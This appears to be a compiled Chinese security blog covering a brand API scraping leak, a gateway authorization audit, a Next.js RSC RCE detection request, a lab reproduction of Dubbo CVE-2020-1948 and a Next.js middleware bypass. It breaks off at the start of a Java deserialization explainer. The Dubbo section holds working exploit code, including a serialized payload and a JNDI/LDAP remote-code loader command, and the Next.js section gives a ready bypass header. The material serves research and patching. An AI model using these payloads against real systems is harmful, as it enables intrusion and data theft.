某连锁品牌的敏感信息爬取泄露

某连锁品牌的敏感信息爬取泄露

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

不用我说这个某连锁品牌你也应该知道是什么情况,DDD,只能说得很简略了

image

我得到的指示是,看看是否有什么地方,能够获取到所有门店的规模,具体地址,营业状态,以及是否有什么商业信息的暴露等

事前踩点

ok,先看看他们的 APP 吧,每个门店的信息都会有一个页面展示,门店头图会展示门店的营业状态,然后在门店详情页的详情页里会展示营业职照,还是没水印的加盟商执照?!

好的,那我现在只要看看他们的这部分信息是从那个接口调用返回的,再看看门店id这种字段是不是递增可遍历的就好

然后我就发现了,不仅门店id是递增可遍历的,还有接口主动返回所有门店概况,还有接口可以直接传路径得到门店所属企业及其他敏感信息!

这还是个没有加固没做任何限制请求都是 GET 请求的 APP,我哭死!

image

相关请求

获取所有门店列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /xxx/xxxx/x/public/stadiumList HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxx9(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9

HTTP/2 200 OK
Date: xxx, xx Oct 2025 06:04:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 75961
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

[{"id":xxxx,"name":"1\uxxx9","ads":"\uxxxa","gps":"xxx.109246,xx.703893"},
{"id":xxxx,"name":"2\uxxx7","ads":"\uxxxa","gps":"xx.146952,xx.714365"},
......]

获取门店基础信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /xxx/xxxx/xxxx/public/getStadiumInfo HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxxx9(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9

HTTP/2 200 OK
Date: xxx, xx Oct 2025 06:04:06 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1611
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

{"id":xxxx,"brand_id":xxxx,"name":"505\uxxx7","pic":"https:\/\/src-alpha.oss-cn-hangzhou.aliyuncs.com\/xxx\/xxx\/xxxx\/xxxx\/0xxxxxxxxxc","province":"\uxxx1","city":"\uxxx2","county":"\uxxxa","address":"\uxxxe","tel":"4xxxxxxxx2","business_hours":"09:00-22:00","longitude":xxx.175879,"latitude":xx.32727,"intro":null,"aerobics_count":0,"wx_url":null,"area":0,"unmanned":1,"guide":"","plan":"","exxxxxxx_info":"{\"\uxxx0\":[],\"\uxxx0\":[],\"\uxxx0\":[]}","service_info":"[{\"id\":1,\"name\":\"\uxxx6\"},{\"id\":2,\"name\":\"\uxxxd\"},{\"id\":3,\"name\":\"\uxxxa\"},{\"id\":4,\"name\":\"\uxxxa\"},{\"id\":5,\"name\":\"\uxxxa\"}]","fxxxxx_info":"[{\"id\":1,\"name\":\"\uxxx4\"},{\"id\":2,\"name\":\"\uxxx4\"},{\"id\":3,\"name\":\"\uxxxc\"},{\"id\":4,\"name\":\"\uxxx4\"},{\"id\":5,\"name\":\"\uxxxI\"},{\"id\":6,\"name\":\"\uxxxa\"},{\"id\":7,\"name\":\"\uxxxa\"},{\"id\":8,\"name\":\"\uxxx4\"},{\"id\":9,\"name\":\"\uxxx0\"},{\"id\":10,\"name\":\"\uxxx4\"}]","business_license":"https://src-alpha.oss-cn-hangzhou.aliyuncs.com/xxx/xxx/xxxx/xxxx/exxxxxxxxo","trending":null,"featured":null,"brand_info":{"id":xxxx,"name":"\uxxxx7","logo_url":"https:\/\/src-alpha.oss-cn-hangzhou.aliyuncs.com\/xxx\/xxx\/xxxx?v=1xxxxxxxx0","intro":"26\uxxxxb","qrcode_show_url":null}}

返回签约公司信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /xxxxxx/xxx/xxxx/public/get?key=xxxxx_xxx_company_name HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxxxxxxx1(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9
Accept-Encoding: gzip, deflate, br

HTTP/2 200 OK
Date: xxx, xx Oct 2025 01:11:11 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 42
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

xxxxxxxxxx有限公司

感觉要罄竹难书了,不继续写了,贴一个营业执照示意,当然,我没把这么细节的东西都反馈

image

写在后面

虽然这些东西都是该连锁品牌直接展示在 APP 上的,但实际上是非常不安全的,如果被不好意者批量爬取,可能会造成大量敏感信息泄露

这个任务很快也就不由我处理了(毕竟又要漂了),内容也就都被我删除了,只留在博客做经历证明和留档了,不做违法用途

image

某企业网关代码审计

某企业网关代码审计

image

写在前面

这个某企业不用我说也知道是我待过的公司了,但是不会点名的

以下都是情节模拟,并非具体情况,请细加甄别

在24年初,公司让我和阿里的安全人员对公司资产做了一些渗透工作,我们发现的问题不少,也有相互重合的部分,其中对于验签的问题,在 有点问题:灰产-如何破解请求验签(上)有点问题:灰产-如何破解请求验签(下) 已经有过表述

那么,隐藏在验签下的问题有什么呢?

我们同时在不同的接口上发现了大小的越权问题,例如可以看到别人的收货地址等,但只是在接口层面的,没有意识到可能是一个大范围的问题,直到一个疑惑在我的脑海里萌生——

“为什么我们的 userid 有这么多的写法呢?”

image

好奇是所有问题的开端,害死了无数牛马(x

所有起因

因为那时我来公司不久,阿里安全人员又是外来做服务的,都无法解答这个问题,后来才知道是因为在2017年的时候公司做过技术迁移,从 Php(没错,就是如此古老)转到 Java,而后在2022年又进行过一次升级改造,现在已经是第三版了,所以代码的入参字段会有历史遗留,但由于一直都在用,也没有机会和足够的理由进行 C端强制升级,也没有足够的人力去投入,毕竟业务需求第一嘛……

image

我只能说,一般有这种想法的公司不改的话,迟早有一天会爆个大的

如何触发

其实非常简单,也就是在测试增加错误字段的时候,我们好奇地想,如果采用不同的userid书写方式作为字段,在 body 中发起 api 请求,会怎么样?

他妈的下面的userid字段可以覆盖上面的userid字段,并直接被后端服务作为正确入参而调用!

image

How Can It Be!

尝试了几个接口都可以被如此利用后,直觉告诉我,不可能是后端各式的应用服务做了这样的解析和取参,应该是网关层面的问题,遂查之

在撸了一串人后,我们确定了这个问题是17年那次迁移时,为了兼容老旧 Php 实现,然后在22年迁移时,为了兼容老旧 Java 实现引入的两段代码导致的,直接人员早就离职了

image

这段代码会在读取到旧的 userid 字段后,自动放弃掉新的写法,不从 token 中解析 userid,直接信任用户传入的字段值……

image

危害程度

直到这里,大伙还是“这个问题都存在7年了,又没发生大问题,你来就要说改,就要翻天了?”

我表示,好像确实还没有找到被利用的痕迹,我现在数据不完整,我 SLS 上捞一下现在有哪些接口还是这样的类似实现,然后我再一个个给你们验证好,是不是都可以触发这个问题,在告诉你们能造成多大的危害,我们再来谈要不要改的问题

我不知道这种问题是不是安全人员做,但是完全由安全梳理验证和评估应该是不合适的,但我还是一个人做了,给他整完

结果就是:自2024年Q4末期到2025年Q1,从网关配置(compatible.before.dubboApiStr.生产配置)导出PHP相关老旧接口130例,再由网关日志(xx-gateway_xx-gateway)30天流量匹配出PHP相关老旧接口76例,审查得到越权查看修改个人信息、过度返回信息(token、API、部分源码)、伪造进行业务操作(取消任意用户预约排队乃至无需权益进行开门)等问题,以下为细节问题划分与处理方案……

image

后续处理

当我把这些细节展示出来,并且反馈上级时,得到的是各TL“我们都知道这个地方有问题啦,有处理方案,就是没人推巴拉巴拉”,然后CTO是一句“下次这种大家都有方案达成共同认知的问题就可以不用拉我,你们去推进做就好了”

不是,如果我不去统计,我不去挖不去审计,你们真的知道这会引起什么问题,怎么引起,又是因为什么代码引起的?你们知道有哪些要改,会影响到哪些业务,哪些需要下线需要换新接口,哪些可以直接在原有基础上改网关代码就能兜底?

这个问题从24年初被发现,到25年Q3才被从网关上兜底解决,而且解决了也被觉得是个7年都没发生问题的问题,解决与否感觉没什么价值,我并没有受到任何肯定,大家也只是觉得是安全强要求才推进去做的

image

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

本文转自 Adam Kues 并作补充

今天早上,Next.js 发布了安全公告存在一个漏洞,即使在默认配置下也会导致远程代码执行 (RCE),且无需任何前提条件。此问题的根源在于 Next.js 使用的 React 服务器组件。

在过去的一天里,我们注意到 GitHub 上流传着大量不正确的 PoC,这些 PoC 并不能以较高的置信度真实地证实此漏洞的存在。

我们在 GitHub 上看到的一些 PoC 完全误诊了漏洞的根本原因,关键在于它无需任何前提条件(例如上下文中存在某些函数)即可在 Next.js 上利用该漏洞。

虽然我们已在下方提供了 HTTP 请求和预期响应,但如果您希望使用工具来检测主机列表中的此问题,请参阅我们 GitHub 上的漏洞代码库:https://github.com/assetnote/react2shell-scanner。

该漏洞的原始作者确认,GitHub 上的这些 PoC 与之前分享给 React 和 Next.js 维护者的漏洞利用程序并不相同。请参阅作者在 GitHub 上的留言。https://react2shell.com/。

虽然有几种机制可以确定资产是否正在运行 React Server Components (RSC),但仅仅验证 RSC 是否存在并不足以确定资产是否真的容易受到此 RCE 攻击。

因此,我们的安全研究团队进行了调查,以确定可用于安全可靠地确认 Next.js 应用程序中是否存在此 RCE 漏洞的 HTTP 请求。

注意:我们收到报告称,一些用户声称在响应摘要错误的主机上存在漏洞,但并未明确发送以下有效载荷。此有效载荷对于确认该漏洞的存在至关重要。即使以下有效载荷可能在受影响的 Next.js 版本范围之外也能检测到漏洞;但是,由于 WAF 会对完整的 RCE 有效载荷进行保护,因此仍然需要进行检查。

可以使用以下HTTP请求来确认是否存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 232

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

当使用存在漏洞的 Next.js 版本发送上述请求时,HTTP 响应将如下所示:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 500 Internal Server Error
Date: Thu, 04 Dec 2025 06:16:39 GMT
Content-Type: text/x-component
Connection: keep-alive
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Vary: rsc
Content-Length: 76

0:{"a":"$@1","f":"","b":"yd-J8UfWl70zwtaAy83s7"}
1:E{"digest":"2971658870"}

检查是否存在E{"digest"500 状态码,可以可靠地返回环境中存在漏洞的主机。

为什么这种检查有效?

之所以能够通过此检查区分易受攻击的主机和非易受攻击的主机,是因为 React-Server 依赖项使用冒号来分隔对象属性。请参见以下代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any, parentObject: Object, key: string) => T,
): T {
const path = reference.split(':');
// ... snip ...
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

例如,如果我们像这样在多部分请求中传递 JSON:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这将转化为以下内容:

1
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"

在存在漏洞的 React Server 版本中,我们可以通过以下 multipart 请求强制返回 500 错误:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

之所以会引发异常,是因为它最终映射到以下内容:

1
"$1:a:a" -> {}.a.a -> (undefined).a -> 500

React Server Components 的补丁版本为这种冒号表示法添加了额外的检查,从而防止崩溃发生:

1
2
3
4
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

这意味着如果:语法引用了不存在的属性,则会被忽略。这意味着补丁之后,我们将不再收到 500 错误。

Assetnote 攻击面管理平台的客户今天早些时候通过我们安全研究团队开发的高保真检查收到了有关其整个攻击面存在此漏洞的通知。

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

本文转自 JingQ 并作补充

关注该漏洞的童鞋,应该对 Dubbo 这个架构优秀的 RPC 框架不陌生,所以直入主题

漏洞详情

腾讯安全玄武实验室研究员发现,Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。

经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行,影响广泛。

影响版本

dubbo 2.7.6 以下的版本

复现环境

漏洞注入简介

漏洞发现者 rui0,使用 Remo 模块,最终是通过 JdbcRowSetImpl 调用 jndi 来进行远程代码执行

由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现

名词解释

  • PoC: Proof Of Concept 的缩写。在黑客圈指:观点验证程序。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • ExpExploit,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。
  • Payload:翻译为「有效负荷」,指成功 exploit 后,在目标系统执行的代码或指令。
  • RCEremote code execution 远程命令执行,简称 RCE 漏洞。
  • RMI: 专为 Java 环境设计的远程方法调用机制,远程服务器实现具体的 Java 方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
  • LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
  • JNDI: Java Naming and Directory Interface,包括 Naming ServerDirectory Server。是一种 Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。

漏洞复现

复现场景翻阅了很多篇文章和尝试,发现通过别人构造的 payload 来复现最为简单,所以这里记录一下复现的流程

模拟 Provider

攻击依赖于 rome 工具包中的 ToStringBean 工具,所以无论下载什么提供者项目,都需要将以下依赖加入到 POM.xml 文件中

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

dubbo-spring-boot-project 说明

  • 一、在 github 下载示例代码,切换分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依赖
  • 三、打包启动
1
2
3
4
5
6
// 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后,打包
$ mvn clean install -DskipTests

image

  • 四、启动服务提供者

启动的时候,注意要用低版本的 JDK,使用 IDEA 的话,可以在这里选择编译运行的 JRE

image

接着启动 Provier 即可

运行 JNDI 程序

使用了该位大佬的 PoC,里面注入的 URLldap://127.0.0.1:1389/Exploit,具体原理可以 参考资料六

具体原理说明:

image

以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

  • 一、下载注入工具代码
1
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、编译工具包,在 target 目录生成
1
$ mvn clean install -DskipTests
  • 三、运行 JNDI 工具包
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如测试时,执行的命令是打开计算器,可以执行下面命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

构造 POC

编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为 2020_1948.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))

def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)

run("127.0.0.1",12345)

最终复现效果:

image

漏洞小结

  • 1、下载 demo 代码,加入 rome 依赖
  • 2、启动 JNDI 服务
  • 3、构造 2020-1948.py Poc 攻击

漏洞原理简述

网上公布的 PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

image

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImplgetDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

image

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

image

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

image

至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社区讨论&安全网站修复建议

  • 合并社区 aquariuspj 用户给出的对 DecodeableRpcInvocation 增加入参类型校验

    修复分支 #6374

  • 漏洞发现者 rui0 建议删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
    评论建议

还有阿里云官方的安全建议

目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:

思考分析&修复思路

复现条件有限

需要引入 rome 类型的 jar 包,包含特殊的构造方法和 toString 方法(或许还有其它攻击点)

社区讨论内容

社区讨论和 commit 的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非 $invoke$echo 方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名 methodName 可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞

image

结合业务分析

业务方使用 rome 依赖的很少,构造这种类型的攻击,由于没有这个类,在 provider 反序列化时会提前报 classNotFoundException,没有执行到 readObject 方法,从而无法攻击。

综上所述,考虑到修复难度和影响范围,最后对 dubbo 修改方案如下:

  • 1、合并社区针对改漏洞的修复分支 #6374
  • 2、将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免对输入参数进行反序列化

絮叨

隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。

还有 Dubbo 这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。

通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。

参考资料

1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

6、LADP、RMI 注入程序原理说明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别

11、Github 社区讨论

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

本文转自 CVE-柠檬i 并作补充

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

漏洞信息

Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。包含众多功能,是深入研究复杂研究的完美游乐场。在信念、好奇心和韧性的推动下,我们出发去探索它鲜为人知的方面,寻找等待被发现的隐藏宝藏。

当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。

该漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

补丁:

  • 对于 Next.js 15.x,此问题已在 15.2.3 中修复
  • 对于 Next.js 14.x,此问题已在 14.2.25 中修复

漏洞复现

vulhub已有环境:vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

启动环境:

1
docker compose up -d

image

访问虚拟机3000端口,可以看到环境搭建成功:http://your-ip:3000/login

image

访问根路径,显示需要登陆:

image

添加请求头,使用权限绕过payload

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

访问成功,权限绕过漏洞复现成功

image

参考文章

Next.js 和损坏的中间件:授权工件 - zhero_web_security (zhero-web-sec.github.io)

vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

CVE 2025 29927 Nextjs Auth Bypass - chestnut’s blog (ch35tnut.com)

Next.js中间件授权绕过漏洞终极指南:CVE-2025-29927深度解析与防护策略 - 高效码农 (xugj520.cn)

Comparing v15.2.2…v15.2.3 · vercel/next.js (github.com)

代码审计知识星球 (zsxq.com)

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

本文转自 Acl0 并作补充

Java反序列化漏洞全解:原理、案例、利用与防护

本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。

1. 什么是Java反序列化漏洞?

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

漏洞核心要素

  1. 可控输入:攻击者能够提供恶意的序列化数据。
  2. 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据。
  3. Gadget链:在反序列化时自动触发恶意代码的类和方法链。

2. 利用原理

